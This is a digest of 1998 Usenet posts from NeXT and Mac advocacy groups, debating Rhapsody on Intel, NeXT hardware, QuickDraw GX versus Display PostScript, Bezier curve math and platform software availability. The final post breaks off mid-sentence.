Date: Thu, 04 Jun 1998 01:26:19 +0100
Message-ID: <macghod-0406980126190001@206.133.187.14>
I am using my brand new computer (I am sure ya'll remember my post a while
back about g3's and p2's). I was lucky to find a g3 for $1250 out the
door, and since that WAS within my budget, I jumped on it. $1250 g3 good,
$1600 g3 bad (in tarzan voice).
It is quite fast. Faster than the k6 233 running openstep. Even so, a k6
233 running on openstep is better than os 8. I have to get myself
rhapsody soon.
Even with a g3, the thing stalls for many seconds for certain activities.
And I have already had a couple of crashes. Since rhapsody contains
openstep, it will rock.
So in conclusion, macos 8 bad, openstep good (in tarzan voice). Of
course, on the pc, win 95 was a crashhound as well, worse than macos 8
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 4 Jun 1998 08:12:56 GMT
Organization: MiscKit Development
Message-ID: <6l5ku8$ml5$4@news.xmission.com>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1 <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <slrn6n8ud7.jbt.sal@panix2.panix.com> <357498E0.8F6C80B3@nstar.net> <slrn6napbm.5pt.sal@panix3.panix.com> <35757CB5.6CDC6D14@nstar.net> <6l4j1r$ml5$1@news.xmission.com> <357618CD.182EDB47@nstar.net>
"Michael J. Peck" <mjpeck@nstar.net> wrote:
> Don Yacktman wrote:
> > The reason is that the Color slabs have a very impressive memory
> > architecture--wider bus to memory and the DMA+I/O channel
> > controller ASIC. [...] Not bad for a ca. 1990 design. So many
> > people forget that there's a *lot* more to good system performance
> > than a fast CPU chip.[...].
>
> That's all true. But I don't think it has much to do with comparing
> quality of sound between a slab and a PC with a good sound card.
No, but it has something to do with the comment I was responding to about
slabs versus P100's.
> For one
> thing, the DSP on the slab was general-purpose, and used system memory;
> for that reason, the wide bus to memory was useful.
As Mike mentioned, the DSP was in its own memory space, but benefitted from
DMA channels. Remember I note that it isn't just the memory bus but the I/O
ASICs that make the slabs really nifty. IIRC, the DSP memory arch. is 24
bits wide and uses a Harvard architecture (split data/instructions), which is
very different from main memory. Very expensive, too, since it uses SRAM
instead of DRAM. It's a really bizarre chip to write assembly for, BTW, but
it could sure make a neat coprocessor. (The Mandlebrot demo was an
interesting case in point, where you could run the DSP against the 680x0.)
And being able to run real-time acoustic modelling algorithms is pretty nice.
> However,
> traditionally PC sound cards have never used system memory; they had
> memory on the card precisely because the ISA bus was too narrow for
> reasonable use of system memory.
>
> *However*, the PCI cards now being released do use system memory because
> of the wider bus.
Yup, like the AWE 64, which splits the sound generation work with spare
cycles on the CPU. Many of the newer cards are looking quite interesting. I
wish that the AWE 64 had better sounds in the on-board ROM, though. My
Ensoniq blows it away for just playing back stock MIDI stuff; the stock
sounds on my AWE 64 sound positively anemic in comparison. Admittedly, the
AWE 64 gets much better great once you load up some better sounds...
> [...].
> It's like the old joke:
>
> "How did God create the world in only six days?"
>
> "He had no installed base to work with."
Very, very true! :-)
> PS. Apart from raw bit blitting, how did a wide video bus help something
> like the NeXTDimension? Didn't the CPU just pass DPS data to the i860
> for rendering?
The ND was totally different from the slabs. My discussion was really only
about the slabs. Yes, with an ND the DPS stream is sent to the i860 for
rendering, so the speed of the graphics there wholly depends upon the
hardware in the ND board, which has it's own RAM, just for the window server.
Basically, an ND cube is a three processor assymetric multiprocessing system,
and each processor has its own memory bus--with dedicated DMA channels to
handle I/O between it and the main memory.
Again, decent hardware for the time period, seeing as the slab I bought in
1991 is still quite usable today. Of course, if you set the same engineers
to designing a best of breed system today, there are a lot of advances that
they could leverage to make one heck of a cool system. I'd love to see what
they would come up with (and I'm hoping that Rubenstein comes up with some
cool toys)!
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 4 Jun 1998 08:41:44 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6l5mk8$cl9$1@sun27.hrz.tu-darmstadt.de>
References: <rex-2305981101130001@192.168.0.3> <3566E50C.257D56A2@trilithon.com> <rex-2405980239210001@192.168.0.3> <6k9qea$d5n$1@ironhorse.plsys.co.uk> <rex-2505980225090001@192.168.0.3> <6kca7d$d5n$7@ironhorse.plsys.co.uk> <B18F17D4-38174@206.165.43.100> <6ke4v6$d5n$9@ironhorse.plsys.co.uk> <B1901713-22772@206.165.43.147> <6kejq7$6na$1@bartlet.df.lth.se> <B1906698-5F2F7@206.165.43.154> <1d9pjdq.1drqzt8l2l0zwN@carina43.wco.com> <B1924891-1589E@206.165.43.70> <6kj771$3v3$1@ironhorse.plsys.co.uk> <B1927A7F-2C857@206.165.43.156> <6kjhrh$2fh$1@bartlet.df.lth.se> <B192E0B6-44EE7@206.165.43.40> <jak-2805981110120001@fdialup162.phnx.uswest.net> <B19310E3-26E8D@206.165.43.179> <jak-2905981049520001@adialup109.phnx.uswest.net> <B1947598-35F2A@206.165.43.148> <6knucq$46c$1@news.digifix.com> <B195AF8F-215CF@206.165.43.152> <6kqmcc$3k6$1@news.digifix.com> <B1965026-29DBC@206.165.43.17> <6kt71m$se$1@news.digifix.com> <B1979A5C-B805@206.165.43.180> <1da1g6l.1duqiv7ikdwl2N@cetus202.wco.com>
mpaque@wco.com (Mike Paquette) wrote:
>Lawson English <english@primenet.com> wrote:
>
>> MS and
>> Adobe never followed the rules for GX. Whether this was deliberate or not
>> is left for the reader to determine, but I'd like to point out that Word
>> 4.0 worked just fine under GX, but Word 5.1 broke
>
>Oooh! The Great Conspiracy grows! Now Microsoft and Adobe are in on it.
>Heck, I was probably in on it, until some fellow in a black suit and
>sunglasses put that flashy thing in my face.
>
>Can you see the yet?
Can we see what?
>--
> Mike Paquette mpaque@wco.com
>
>"Troubled Microsoft" and the "Troubled Microsoft" logo are
>trade and service marks of the Microsoft Corporation.
Uh-oh.. they have lighthoused Mike Paquette.. ;-)
Chris :-)
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 4 Jun 1998 08:52:13 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6l5n7t$cl9$2@sun27.hrz.tu-darmstadt.de>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1 <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <slrn6n8ud7.jbt.sal@panix2.panix.com> <357498E0.8F6C80B3@nstar.net> <slrn6napbm.5pt.sal@panix3.panix.com> <35757CB5.6CDC6D14@nstar.net> <6l4j1r$ml5$1@news.xmission.com> <357618CD.182EDB47@nstar.net> <6l5ku8$ml5$4@news.xmission.com>
don@misckit.com (Don Yacktman) wrote:
>Again, decent hardware for the time period, seeing as the slab I bought in
>1991 is still quite usable today. Of course, if you set the same engineers
>to designing a best of breed system today, there are a lot of advances that
>they could leverage to make one heck of a cool system. I'd love to see what
>they would come up with (and I'm hoping that Rubenstein comes up with some
>cool toys)!
Back in black, I hope. By the way, there's a rumor I've heard <hmpf>
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 4 Jun 1998 09:59:16 GMT
Organization: P & L Systems
Message-ID: <6l5r5k$adf$3@ironhorse.plsys.co.uk>
References: <6l0kkl$cmd$3@ns3.vrx.net> <B199A9F8-267E6@206.165.43.1>
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Cc: english@primenet.com
In <B199A9F8-267E6@206.165.43.1> "Lawson English" wrote:
> The point is MOOT. In the common usage of the word, "moot" means "no longer
> worth arguing over."
>
Twaddle -- it means exactly the opposite, namely that "it's still open to
debate".
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.programmer,comp.sys.next.advocacy
Subject: Re: whats up with zoneraiders?!?/!
Date: 4 Jun 1998 10:32:30 GMT
Organization: P & L Systems
Message-ID: <6l5t3u$adf$4@ironhorse.plsys.co.uk>
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Cc: nospam+yes-this-is-a-valid_address@luomat.peak.org
In <6j0bma$l3h$3@ha2.rdc1.nj.home.com> Timothy Luoma wrote:
> In <6j04ej$nvc$1@newsfep4.sprintmail.com> macghod@concentric.net wrote:
> > Why in gods name would zoneraiders be ppc only?
> [...]
("Zone Warrior")
> My guess is the only people who know the real answer are the people who
> wrote it.
>
A fair comment, so I asked them (the developer's actually English, and came
over to our offices a few months ago)...
... he said that the reason's because a lot of data (models,textures etc) are
pre-generated on MacOS and are therefore big-endian.
He could rewrite stuff, but he doesn't have a PC to test things on (an
important consideration here), and there are a couple of other issues which
impinge...
Best wishes,
mmalc.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: petrich@netcom.com (Loren Petrich)
Subject: Re: End of WYSIWYG w/out DPS?
Message-ID: <petrichEu0x7u.4Ko@netcom.com>
Organization: Netcom
References: <us5emx6vtvs.fsf@ai.mit.edu> <B19B732E-33558@206.165.43.48>
Date: Thu, 4 Jun 1998 10:59:54 GMT
Sender: petrich@netcom6.netcom.com
In article <B19B732E-33558@206.165.43.48>,
Lawson English <english@primenet.com> wrote:
>Stephen Peters <portnoy@ai.mit.edu> said:
>Page 224 of "Killer Bs", section 10.6.1:
>"Before deriving the equations governing the arbitrary subdivision of
>Bezier curves, it will be shown tha the dth degree Bezier curve is a
>_convex cobination_ of a pair of (d-1)st degree Bezier curves. In
>particular, the curve for v[0], ... v[d] is a convext combination of curves
>for v[o],...v[d-1] and v[1],...v[d] with coefficients 1-u and u,
>respectively..."
However, u is the *PARAMETER*, wo what "Killer Bs" is describing
is essentially a kind of crossfade while going from one end of the Bezier
curve to the other.
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Thu, 04 Jun 1998 07:13:00 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35768F4C.91A681EA@nstar.net>
References: <6l0kkl$cmd$3@ns3.vrx.net> <B199A9F8-267E6@206.165.43.1> <6l5r5k$adf$3@ironhorse.plsys.co.uk>
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mmalcolm crawford wrote:
>
> In <B199A9F8-267E6@206.165.43.1> "Lawson English" wrote:
>
> > The point is MOOT. In the common usage of the word, "moot" means "no longer
> > worth arguing over."
> >
> Twaddle -- it means exactly the opposite, namely that "it's still open to
> debate".
I think it means "no longer worth arguing over, thus still open to
debate."
MJP
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 4 Jun 1998 08:45:08 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l5mqk$e33$1@ns3.vrx.net>
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<rex-2505980225090001@192.168.0.3> <6kca7d$d5n$7@ironhorse.plsys.co.uk>
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<B1927A7F-2C857@206.165.43.156> <6kjhrh$2fh$1@bartlet.df.lth.se>
<B192E0B6-44EE7@206.165.43.40> <jak-2805981110120001@fdialup162.phnx.uswest.net>
<B19310E3-26E8D@206.165.43.179> <jak-2905981049520001@adialup109.phnx.uswest.net>
<B1947598-35F2A@206.165.43.148> <6knucq$46c$1@news.digifix.com>
<B195AF8F-215CF@206.165.43.152> <6kqmcc$3k6$1@news.digifix.com>
<B1965026-29DBC@206.165.43.17> <6kt71m$se$1@news.digifix.com>
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In <1da1g6l.1duqiv7ikdwl2N@cetus202.wco.com> Mike Paquette claimed:
> Oooh! The Great Conspiracy grows!
Last week's was better - someone claimed that Byte was being nixed by CMP
because of the BYTEMarks which showed the PPC to be faster. Gotta like that
one!
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 4 Jun 1998 07:01:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19BF69D-25F71@206.165.43.122>
References: <6l5r5k$adf$3@ironhorse.plsys.co.uk>
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mmalcolm crawford <malcolm@plsys.co.uk> said:
>In <B199A9F8-267E6@206.165.43.1> "Lawson English" wrote:
>
>> The point is MOOT. In the common usage of the word, "moot" means "no
>longer
>> worth arguing over."
>>
>Twaddle -- it means exactly the opposite, namely that "it's still open to
>debate".
In America, use of the word "moot" in the phrase, "the point is moot," or
"that's a moot-point," implies that something is no longer worth arguing
about.
Presumably this usage came about because items argued at formal moots
(meetings set up to discuss a topic) seldom arrive at any useful
conclusion, so why bother?
It's an odd phrase, I'll agree, but it's in the dictionary, and in the last
10-20 years, it's the ONLY use of the word that I've seen or heard in
common American speech and literature.
We drive on the right side of the road. You drive on the correct side. OK?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: How about something better than what we have now?
Date: 4 Jun 1998 09:00:14 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l5nmu$ebr$2@ns3.vrx.net>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134>
<6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3>
<6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3>
<6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3>
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<6l1pjm$s30$1@news.cs.tu-berlin.de> <rex-0206981940440001@192.168.0.3>
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In <ldo-0406981944340001@a24.hn1.wave.co.nz> Lawrence D¹Oliveiro claimed:
> Pity the same can't be said about Display PostScript...
That's right, it has no 30 foot limit.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 4 Jun 1998 08:49:13 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l5n29$ebr$1@ns3.vrx.net>
References: <6ke4v6$d5n$9@ironhorse.plsys.co.uk> <B1901713-22772@206.165.43.147>
<6kejq7$6na$1@bartlet.df.lth.se> <B1906698-5F2F7@206.165.43.154>
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<6kkfev$ojb$1@news.cs.tu-berlin.de> <rex-2805981808060001@192.168.0.3>
<6km24a$s3m$3@ns3.vrx.net> <B1943079-ED44D@206.165.43.122>
<6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134>
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<6l1pjm$s30$1@news.cs.tu-berlin.de> <rex-0206981940440001@192.168.0.3>
<6l2q9p$cjt$1@news.cs.tu-berlin.de> <rex-0306981328290001@192.168.0.3>
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In <1da1oie.1qay520aezixhN@cetus202.wco.com> Mike Paquette claimed:
> The actual paths look more like this:
>
> Application->Extended QuickDraw->Screen
> Application->Extended QuickDraw->PixMaps->???
> Application->Extended QuickDraw->PDF->File
> Application->Extended QuickDraw->PDF->Print Sys->RIP->Raster Printer
> Application->Extended QuickDraw->PDF->Print Sys->PostScript->Printer
You may have noticed my earlier thread on the remotability issue. Is this
possible...
> Application->Extended QuickDraw->PDF->Network-> Extended
QuickDraw->Screen
I know it doesn't solve issues about sync and such, but to me it seems that
if you can dump to PDF and freeze it, there's a mechanism in place for
pass-by-value in there somewhere. No?
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 4 Jun 1998 06:49:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19BF3BC-1B260@206.165.43.122>
References: <petrichEu0x7u.4Ko@netcom.com>
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Loren Petrich <petrich@netcom.com> said:
> However, u is the *PARAMETER*, wo what "Killer Bs" is describing
>is essentially a kind of crossfade while going from one end of the Bezier
>curve to the other.
???
So?
The point is that you can create 2 (d-1)st degree Beziers that are
identical in appearance to the dth degree Bezier.
E.G., a cubic Bezier can be completely and exactly replaced by 2 quadratic
Beziers which share a common end-point.
I'm willing to bet that this property of Beziers is what makes them so
attractive and useful to computer graphics programmers and why they are
used in so many ways.
The fact that the quadratics have an extra control point or two is of no
consequence in this case. We're talking about *appearance* and nothing
more.
In fact, GX makes use of "implicit" control points to save space. If you
have 2 consecutive off-curve control points, there is an "implicit"
on-curve control point mid-way between them that defines two tangent-lines
-one to each off-curve point.
Quadratic Beziers have all sorts of interesting properties. You can
determine the length of a curve very easily, for instance. Finding the
on-curve mid-point between 2 on-curve control points is trivial. An
arbitrarily complex GX path is identical to any degree Bezier, so you can
use GX's path geometric data to draw any Bezier merely by adding control
points and defining them as on-curve or off-curve. In theory, they can be
drawn faster than any other Bezier curve since one only needs to use adds
and shifts in partitioning a quadratic Bezier down to arbitrarily small
line segments.
The more I learn about quatradic Beziers, the more I understand why Apple
uses them instead of cubic Beziers. Cubic representations may download to
printers faster and take up less HD space, but quadratics are more useful,
I think.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
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From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 4 Jun 1998 15:02:25 GMT
Organization: I don't think so
Message-ID: <slrn6nddvd.gog.jason@jhste1.dyn.ml.org>
References: <6l43r7$5dc$3@ns3.vrx.net> <B19B6872-AF98@206.165.43.48> <6l5npb$ebr$4@ns3.vrx.net>
Maury Markowitz posted the following to comp.sys.mac.advocacy:
>In <B19B6872-AF98@206.165.43.48> "Lawson English" claimed:
>> That was with TeacText, right Maury?
> No, TeachText.
The Lawson and Maury Show. Never ends.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 4 Jun 1998 15:09:01 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6nde4d.79m.sal@panix3.panix.com>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <356e6a40.0@news.camtech.net.au> <6kn7t6$npv$7@newsfep4.sprintmail.com> <rmcassid-2905981526310001@dante.eng.uci.edu> <slrn6n17mu.lsb.sal@panix3.panix.com> <3570A750.56BE9808@nstar.net> <slrn6n5jm1.2kj.sal@panix3.panix.com> <3572E0C5.BDEEDD46@nstar.net> <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1@nstar.net> <slrn6n6csr.a9v.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <rmcassid-0206981358190001@dante.eng.uci.edu> <3574976D.A420646B@nstar.net> <19980603030356479711@[168.191.177.137]> <35757700.6C6076C0@nstar.net>
On Wed, 03 Jun 1998 16:17:04 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
>John Bauer wrote:
>> 2%? Whatever Apple's marketshare currently is, I suspect your 2% figure
>> is way off. I don't know anyone who owns a PC who has ever replaced
>> anything in it, including RAM. I don't know anyone whose first
>> introduction to the Internet was *not* through America Online.
>I don't know what I'm supposed to take from this...
That he is one of the 99.99% of computer users that is not a techie.
>I work in the UNIX workstation industry.
That might be why you fail to see that 99.99% of users work "with" but
not "on" computers. They use it as a tool. They are not involved in the
industry, except as consumers.
Take a walk down to the marketing department, accounting department or
anywhere else where non-techs use computers. Watch them for a while. I'm
sure you'll understand his point.
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 4 Jun 1998 15:23:25 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ndevd.79m.sal@panix3.panix.com>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <rmcassid-0206981358190001@dante.eng.uci.edu> <3574976D.A420646B@nstar.net> <rmcassid-0306980206530001@dialin33417.slip.uci.edu> <357567D5.97F93A3C@nstar.net> <rmcassid-0306981318240001@dante.eng.uci.edu> <35761696.66821BB@nstar.net> <rmcassid-0306982330280001@dialin33422.slip.uci.edu>
On Wed, 03 Jun 1998 23:30:17 -0800, Robert Cassidy <rmcassid@uci.edu> wrote:
>Apple did lose it's edge, but I don't see that it can't necessarily
>return. In fact, I do see it returning in exactly the fashion you state.
I don't think anyone can get "the edge" back in a way where you'll be
able to point to a date on the calendar and say "Apple returned to
cluefullness here" It will be an ongoing process. It took years for Apple
to get this messed up, and it will take at least a year to fix the mess.
>Thinkpad standard RAM, and on and on, I can't see *too* many more areas
>for Apple to improve upon down the road. Most of what's left is ATX cases,
>Intel standard MBs, and Pentium II chips.
The g3 motherboard is in ATX format (according to Byte) All CHRP motherboards
were to have been in ATX format...
>MS has consistenly not delivered what I expect from a competent industry
>vendor. They have never _seriously_ committed to delivering better tools
>> I suspect I've just fallen out of favor with the Cupertino Communist
>> Party; so be it.
At some point you'll have to see that Apple is a COMPANY, and not a cult
or political movement. They sell computers, not ideology. If you want to
join a cult, go elsewhere.
--
sal@panix.com
Salvatore Denaro
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: 4 Jun 1998 15:19:11 GMT
Organization: P & L Systems
Message-ID: <6l6dtf$adf$5@ironhorse.plsys.co.uk>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net>
<35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu>
<355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu>
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In <rkt1-1505980212090001@cu-dialup-1206.cit.cornell.edu> Tapella wrote:
> Well, last I saw NEXTSTEP was 5 years ago (not even sure what version) and
> at the time it seemed more cluttered and complicated than what I was used
to
> (although at the time I was alot more of a computer newbie than I am now...
> which is pretty damn newbie :) Mac users would have a hard time getting
> around NEXTSTEP/Openstep properly I bet.
>
These are the same Mac-users that pride themselves in being the technical
elite -- earning 10% greater salaries than average PC users...?
I bet you're wrong, firstly as the testaments from several recent users of
NEXTSTEP affirm (cf esp David Herren's article on Stepwise), and secondly as
a number of NeXT users (myself included) are ex-Mac users.
mmalc.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Where is all the mac software????
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <6l1p8q$ak3$1@newsfep1.sprintmail.com> <6l23dm$84s$1@nnrp1.dejanews.com> <justincsNOSPAM-0206982119070001@ip116.pontiac2.mi.pub-ip.psi.net> <atlauren-0306981238320001@jungleland.acs.uci.edu> <justincsNOSPAM-0406981043110001@ip198.pontiac2.mi.pub-ip.psi.net>
Message-ID: <3576c0d0.0@news.depaul.edu>
Date: 4 Jun 98 15:44:16 GMT
In comp.sys.next.advocacy Justin Case <justincsNOSPAM@psi.net> wrote:
> Now if I could only afford all the Monster Cable to complete the
> system, I'd be in business!
Just Monster cable? I remember once seeing some kind of audiophile
cable that quite literally was as thick as a garden hose.
--
"... and subpoenas for all." - Ken Starr
From: id_est@interport.net (tse_di)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Thu, 04 Jun 1998 11:43:13 -0400
Organization: none
Message-ID: <id_est-0406981143140001@192.168.1.1>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <mNOSPAMroeder-0206981658270001@192.168.21.176>
In article <mNOSPAMroeder-0206981658270001@192.168.21.176>,
mNOSPAMroeder@macromedia.com (Michael Roeder) wrote:
> Oh, dear, and I really needed SimCity and Quake for my work! Man, not
> having games to run on my Mac, what a bummer!
That may be your opinion but the relative scarcity of games on the mac
does cost apple sales, not to you perhaps but for others. Just for
reference, the mac is my platform of preference and I don't really play
games on it, but I understand that some people do want games.
What I would like to see is creative original games that leverage the
Macs strengths (as the original SimCity and Myst did in their day) rather
than just another rehash of the same ideas (I am really sick of seeing
another "if it moves, kill/shoot/hit it being touted as a great thing)
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: YellowBox on handhelds
Newsgroups: comp.sys.next.advocacy
Message-ID: <3576c2a1.0@news.depaul.edu>
Date: 4 Jun 98 15:52:01 GMT
A while back there was a raging argument about YellowBox in
a handheld. One of the main obstacles discussed was the
requirements of DPS. That obstacle seems to have been removed.
Can anyone think of a reason Apple couldn't field a YellowBox
compatible API for handhelds? It could use a very minimal
kernel underneath, and a version of Quickdraw/E tuned for a small
screen and tight memory. Likewise for the YB frameworks themselves.
Unix wouldn't be necessary, so that's not an issue.
--
"... and subpoenas for all." - Ken Starr
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 4 Jun 1998 10:45:22 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l5ts2$j3r$1@ns3.vrx.net>
References: <6l5oe5$ebr$5@ns3.vrx.net> <B19C0AF3-726E1@206.165.43.122>
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Cc: english@primenet.com
In <B19C0AF3-726E1@206.165.43.122> "Lawson English" claimed:
> GUIs, anyone?
Everyone else has done a GUI.
> What a maroon.
Uh huh.
Maury
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have now?)
Date: 4 Jun 1998 15:41:41 GMT
Organization: P & L Systems
Message-ID: <6l6f7l$adf$6@ironhorse.plsys.co.uk>
References: <B196AF2E-6ECC@206.165.43.133> <B196C2E5-5109F@206.165.43.133>
<6kt6us$sd$1@news.digifix.com> <ldo-0406982006200001@a24.hn1.wave.co.nz>
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Cc: ldo@geek-central.gen.new_zealand
In <ldo-0406982006200001@a24.hn1.wave.co.nz> Lawrence D¹Oliveiro wrote:
> Do you know of any other layout engine that offers comparable capabilities
> in a simpler form? There ain't no such thing. Face it: text handling is
> complex. One look at some of the world's writing systems (like Japanese or
> Arabic) should convince you of that.
>
> GX is the most elegant and compact solution to this problem that anyone
> has ever come up with. (Go on, prove me wrong...)
>
At a guess: ATSUI.
mmalc.
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Thu, 04 Jun 1998 10:38:22 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-0406981038220001@130.130.117.53>
References: <rex-2305981101130001@192.168.0.3> <6k9qea$d5n$1@ironhorse.plsys.co.uk> <rex-2505980225090001@192.168.0.3> <6kca7d$d5n$7@ironhorse.plsys.co.uk> <B18F17D4-38174@206.165.43.100> <6ke4v6$d5n$9@ironhorse.plsys.co.uk> <B1901713-22772@206.165.43.147> <6kejq7$6na$1@bartlet.df.lth.se> <B1906698-5F2F7@206.165.43.154> <1d9pjdq.1drqzt8l2l0zwN@carina43.wco.com> <B1924891-1589E@206.165.43.70> <6kj771$3v3$1@ironhorse.plsys.co.uk> <B1927A7F-2C857@206.165.43.156> <6kjhrh$2fh$1@bartlet.df.lth.se> <B192E0B6-44EE7@206.165.43.40> <jak-2805981110120001@fdialup162.phnx.uswest.net> <B19310E3-26E8D@206.165.43.179> <jak-2905981049520001@adialup109.phnx.uswest.net> <B1947598-35F2A@206.165.43.148> <6knucq$46c$1@news.digifix.com> <B195AF8F-215CF@206.165.43.152> <6kqmcc$3k6$1@news.digifix.com> <B1965026-29DBC@206.165.43.17> <6kt71m$se$1@news.digifix.com> <B1979A5C-B805@206.165.43.180> <1da1g6l.1duqiv7ikdwl2N@cetus202.wco.com> <tbrown-0406980104590001@mv204.axom.com>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <tbrown-0406980104590001@mv204.axom.com>, tbrown@netset.com
(Ted Brown) wrote:
:I missed Lawson's original post, but conspiracy isn't needed here, just
:plain ol' Murphy:
:
:Never ascribe to malice what stupidity can explain.
Actually in the case of Word 5 it is often the programmers trying to be
overly clever things, which is the problem. As an example in order to
conserve memory when copying and pasting, Word internally maintains
pointers to the copied information instead of creating a new copy in a
copy buffer. It works great to save memory on a 1meg system. The only
problem is that when you close the document you copied from and then paste
